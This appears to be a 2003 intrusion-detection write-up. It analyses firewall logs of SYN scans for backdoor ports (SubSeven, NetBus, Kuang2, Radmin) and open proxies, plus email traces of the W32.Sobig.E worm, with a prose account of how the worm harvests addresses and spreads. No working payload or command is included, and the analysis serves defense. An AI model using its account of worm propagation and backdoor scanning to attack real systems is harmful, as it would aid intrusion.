This is an attempt to query SSH for its version number. The remote system already knows SSH exists because this packet comes after the TCP 3-way handshake to port 22, where SSH listens by default. There is no need for this during normal SSH sessions so we have reason to believe an attack would follow if the right information is returned.

Aug 11 01:52:04 SRC=24.150.143.0 DST=24.125.4.53 LEN=48 TTL=108 ID=10221 DF PROTO=TCP SPT=4037 DPT=17300 WINDOW=16384 SYN
Aug 11 02:56:30 SRC=68.6.161.189 DST=24.125.4.53 LEN=48 TTL=109 ID=3068 DF PROTO=TCP SPT=3692 DPT=17300 WINDOW=16384 SYN 
Aug 11 06:09:20 SRC=217.165.64.19 DST=24.125.4.53 LEN=48 TTL=111 ID=39685 DF PROTO=TCP SPT=3628 DPT=17300 WINDOW=65535 SYN 
Aug 11 06:37:55 SRC=172.136.56.64 DST=24.125.4.53 LEN=48 TTL=114 ID=531 DF PROTO=TCP SPT=4555 DPT=17300 WINDOW=16384 SYN 
Aug 11 08:06:37 SRC=61.98.127.126 DST=24.125.4.53 LEN=48 TTL=107 ID=6248 DF PROTO=TCP SPT=2771 DPT=17300 WINDOW=16384 SYN 
Aug 11 08:37:53 SRC=68.45.110.205 DST=24.125.4.53 LEN=48 TTL=109 ID=8479 DF PROTO=TCP SPT=4238 DPT=17300 WINDOW=16384 SYN

Six unique source addresses scanning for the Kuang2 trojan/backdoor in 7 hours.

Aug 15 04:26:15 SRC=211.191.101.55 DST=24.125.4.53 LEN=48 TTL=107 ID=59978 DF PROTO=TCP SPT=2543 DPT=27374 WINDOW=16384 SYN
Aug 15 07:48:50 SRC=24.54.210.109 DST=24.125.4.53 LEN=48 TTL=107 ID=6858 DF PROTO=TCP SPT=4034 DPT=27374 WINDOW=64240 SYN 
Aug 15 07:48:57 SRC=62.42.61.45 DST=24.125.4.53 LEN=48 TTL=108 ID=54104 DF PROTO=TCP SPT=2183 DPT=27374 WINDOW=8760 SYN 
Aug 15 08:33:08 SRC=64.72.57.227 DST=24.125.4.53 LEN=48TTL=113 ID=23876 DF PROTO=TCP SPT=3487 DPT=27374 WINDOW=16384 SYN 
Aug 15 09:35:53 SRC=213.138.230.98 DST=24.125.4.53 LEN=48 TTL=112 ID=61953 DF PROTO=TCP SPT=4632 DPT=27374 WINDOW=16384 SYN
Aug 15 12:25:24 SRC=12.226.249.225 DST=24.125.4.53 LEN=48 TTL=116 ID=41627 DF PROTO=TCP SPT=4374 DPT=27374 WINDOW=16384 SYN

Six unique source addresses scanning for the SubSeven trojan/backdoor in 8 hours.

Aug 13 06:33:48 SRC=212.44.126.37 DST=24.125.4.53 LEN=48 TTL=105 ID=22109 DF PROTO=TCP SPT=3728 DPT=4899 WINDOW=64240 SYN 
Aug 13 09:09:32 SRC=213.135.226.195 DST=24.125.4.53 LEN=48 TTL=112 ID=35675 DF PROTO=TCP SPT=44500 DPT=4899 WINDOW=64240 SYN
Aug 13 10:05:01 SRC=63.105.206.157 DST=24.125.4.53 LEN=48 TTL=110 ID=48254 DF PROTO=TCP SPT=1897 DPT=4899 WINDOW=65535 SYN 
Aug 13 10:23:44 SRC=64.91.54.81 DST=24.125.4.53 LEN=48 TTL=109 ID=53584 DF PROTO=TCP SPT=3309 DPT=4899 WINDOW=64240 RES=0x00 SYN
Aug 13 13:01:54 SRC=216.129.145.132 DST=24.125.4.53 LEN=44 TTL=109 ID=47531 DF PROTO=TCP SPT=4690 DPT=4899 WINDOW=8192 SYN 
Aug 13 14:09:27 SRC=24.25.24.81 DST=24.125.4.53 LEN=48 TTL=112 ID=29366 DF PROTO=TCP SPT=3625 DPT=4899 WINDOW=65520 SYN

6 unique source addresses scanning for the Radmin remote administration tool in 10 hours.

Aug 15 16:59:10 SRC=64.228.35.174 DST=24.125.4.53 LEN=48 TTL=111 ID=10607 DF PROTO=TCP SPT=3653 DPT=81 WINDOW=16384 SYN
Aug 15 16:59:15 SRC=64.228.35.174 DST=24.125.4.53 LEN=48 TTL=111 ID=11823 DF PROTO=TCP SPT=1813 DPT=4480 WINDOW=16384 SYN 
Aug 15 16:59:20 SRC=64.228.35.174 DST=24.125.4.53 LEN=48 TTL=111 ID=13029 DF PROTO=TCP SPT=4136 DPT=6588 WINDOW=16384 SYN
Aug 15 16:59:30 SRC=64.228.35.174 DST=24.125.4.53 LEN=48 TTL=111 ID=15476 DF PROTO=TCP SPT=2848 DPT=8081 WINDOW=16384 SYN

Scans for an open proxy directed at common proxy ports 81, 4480, 6588, and 8081.

Jul 31 22:48:57 SRC=24.100.250.136 DST=64.252.48.120 LEN=48 TTL=113 ID=25243 DF PROTO=TCP SPT=2251 DPT=12345 WINDOW=64240 SYN 
Jul 31 22:48:59 SRC=24.100.250.136  DST=64.252.48.120 LEN=48 TTL=113 ID=25332 DF PROTO=TCP SPT=2251 DPT=12345 WINDOW=64240 SYN

Scans for the NetBus trojan/backdoor.

W32.Sobig.E Internet Worm

Email # 1

Received: from mta5.snet.net by vmk with SMTP; Fri, 27 Jun 2003 11:19:23 -0400
X-Originating-IP: [159.247.3.210]
Received: from DPH-WS11404 ([159.247.3.210])
by mta5.snet.net (8.12.9/8.12.9) with ESMTP id h5RFJNSK020638
for <ligh@snet.net>; Fri, 27 Jun 2003 11:19:23 -0400 (EDT)
Message-Id: <200306271519.h5RFJNSK020638@mta5.snet.net>
From: <simmons_rp@thevine.net>
To: <ligh@snet.net>
Subject: Re: Application
Date: Fri, 27 Jun 2003 11:19:23 --0400
Importance: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MSMail-Priority: Normal
X-Priority: 3 (Normal)
MIME-Version: 1.0
Content-Type: multipart/mixed;
boundary="CSmtpMsgPart123X456_000_00385DE3"
X-NortonAV-TimeoutProtection: 0

Attachements: your_details.zip (80 KB)

Email # 2

Received: from mta2.snet.net by vma with SMTP; Tue, 1 Jul 2003 08:33:34 -0400
X-Originating-IP: [204.253.132.206]
Received: from mx3-pri.mail.gospelcom.net (mx3-pri.mail.gospelcom.net [204.253.132.206])
by mta2.snet.net (8.12.9/8.12.9) with ESMTP id h61CXX5g007263
for <ligh@snet.net>; Tue, 1 Jul 2003 08:33:33 -0400 (EDT)
Received: (qmail 440 invoked by uid 200); 1 Jul 2003 12:33:28 -0000
Mailing-List: contact bb-announce-help@lists.gospelcom.net; run by ezmlm
List-Help: <mailto:bb-announce-help@lists.gospelcom.net>
List-Post: <mailto:bb-announce@lists.gospelcom.net>
List-Subscribe: <mailto:bb-announce-subscribe@lists.gospelcom.net>
Date: 1 Jul 2003 12:33:28 -0000
Message-ID: <1057062808.439.ezmlm@lists.gospelcom.net>
From: bb-announce-return-@lists.gospelcom.net
To: ligh@snet.net
Delivered-To: responder for bb-announce@lists.gospelcom.net
Received: (qmail 435 invoked from network); 1 Jul 2003 12:33:27 -0000
Received: from joppa.gospelcom.net (HELO smtp.gospelcom.net)([204.253.132.6])
(envelope-sender <ligh@snet.net>)
by mx3-pri.mail.gospelcom.net (qmail-ldap-1.03) with SMTP
for <bb-announce-help@lists.gospelcom.net>; 1 Jul 2003 12:33:27 -0000
Received: (qmail 7930 invoked from network); 1 Jul 2003 12:33:26 -0000
Received: from unknown (HELO DPH-WS11404) (159.247.3.210)
by smtp.gospelcom.net with SMTP; 1 Jul 2003 12:33:26 -0000
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii
Subject: ezmlm response

Dear Friend of Back to the Bible,

This is a generic help message. The message we received wasn't sent to any
of our command addresses.

< SNIP body of the email >

--- Below is a copy of the request we received.

Return-Path: <ligh@snet.net>
Received: (qmail 435 invoked from network); 1 Jul 2003 12:33:27 -0000
Received: from joppa.gospelcom.net (HELO smtp.gospelcom.net)([204.253.132.6])
(envelope-sender <ligh@snet.net>)
by mx3-pri.mail.gospelcom.net (qmail-ldap-1.03) with SMTP
for <bb-announce-help@lists.gospelcom.net>; 1 Jul 2003 12:33:27 -0000
Received: (qmail 7930 invoked from network); 1 Jul 2003 12:33:26 -0000
Received: from unknown (HELO DPH-WS11404) (159.247.3.210)
by smtp.gospelcom.net with SMTP; 1 Jul 2003 12:33:26 -0000
From: <ligh@snet.net>
To: <bb-announce-help@lists.gospelcom.net>
Subject: Re: Application
Date: Tue, 1 Jul 2003 8:33:26 --0400
Importance: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MSMail-Priority: Normal
X-Priority: 3 (Normal)
MIME-Version: 1.0
Content-Type: multipart/mixed;
boundary="CSmtpMsgPart123X456_000_00060348"

This is a multipart message in MIME format

--CSmtpMsgPart123X456_000_00060348
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Please see the attached zip file for details.
--CSmtpMsgPart123X456_000_00060348
Content-Type: application/octet-stream;
name="your_details.zip"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
filename="your_details.zip

Source of Trace
A Windows XP workstation residing on a small Ethernet LAN.

Detect Generated By
This detect was generated by Norton Antivirus 2002, apparently with the most up-to-date virus definitions.

Probability the Source Address Was Spoofed
The source email address is always spoofed. The worm parses infected systems’ hard drives for files containing email addresses and uses them as the source and destination fields. It then uses its own SMTP engine to spread itself to those hosts. Since SMTP acts over TCP, the IP address of the source machine is likely to be valid.

Attack Mechanism
As stated above, the worm gathers email addresses from files stored locally on the hard drive. Addresses are encrypted in the file MSRRF.DAT and used to fill in the source and destination fields of the outgoing mail. A zipped attachment accompanies the message, which contains an executable and unleashes the worm on the recipient’s machine when opened.

We have two unique email traces of the worm attempting to propagate: once to ligh@snet.net (me) from the spoofed source address simmons_rp@thevine.net; and once to bb-announce-help@lists.gospelcom.net using my email as the source. The only reason we are aware of this second occasion is because the recipient, bb-announce-help@lists.gospelcom.net, generates an auto-reply message to my email address (even though it did not actually come from me). The auto-reply contained the critically important header of the original email which we can compare to the header of the first email for some verification this is indeed W32.Sobig.E. See correlations of this information within the Symantec and Trend Micro sites below.

Subject line = ‘RE: Application’ 
Attachment name = ‘your_details.zip’ 
Attachement size = 80 KB
X-Mailer = Microsoft Outlook Express 6.00.2600.0000

Comparing the information highlighted in red, we can also see that both of the propagation attempts originated from the same IP address, 159.247.3.210, despite the differing email addresses used. It would be reasonable to assume this is either the host from which the worm is spreading or it is being used as an open proxy for other infected machines.

• Symantec Security Response W32.Sobig.E@mm
• Trend Micro WORM_SOBIG.E

Evidence of Active Targeting
The targets selected by this worm are neither hard coded nor are they random.

Severity
Severity = (Criticality + Lethality) –- (System Countermeasures + Network Countermeasures)
Target Criticality: 2 (This is a system of little importance)
Attack Lethality: 4 (breach of confidentiality, upload of arbitrary files, opens ports listening for remote commands)
System Countermeasures: 4 (Virus definitions were up to date and alerted the user of the worms presence prior to accepting the email)
Network Countermeasures: 1 (This worm successfully made it past the firewall, as other emails would. No IDS signatures were in place to detect it)
Severity = (2 + 4) – (4 + 1) = -1

Defense Recommendations
Keep virus definitions updated and do not open suspicious attachments from unknown OR known users.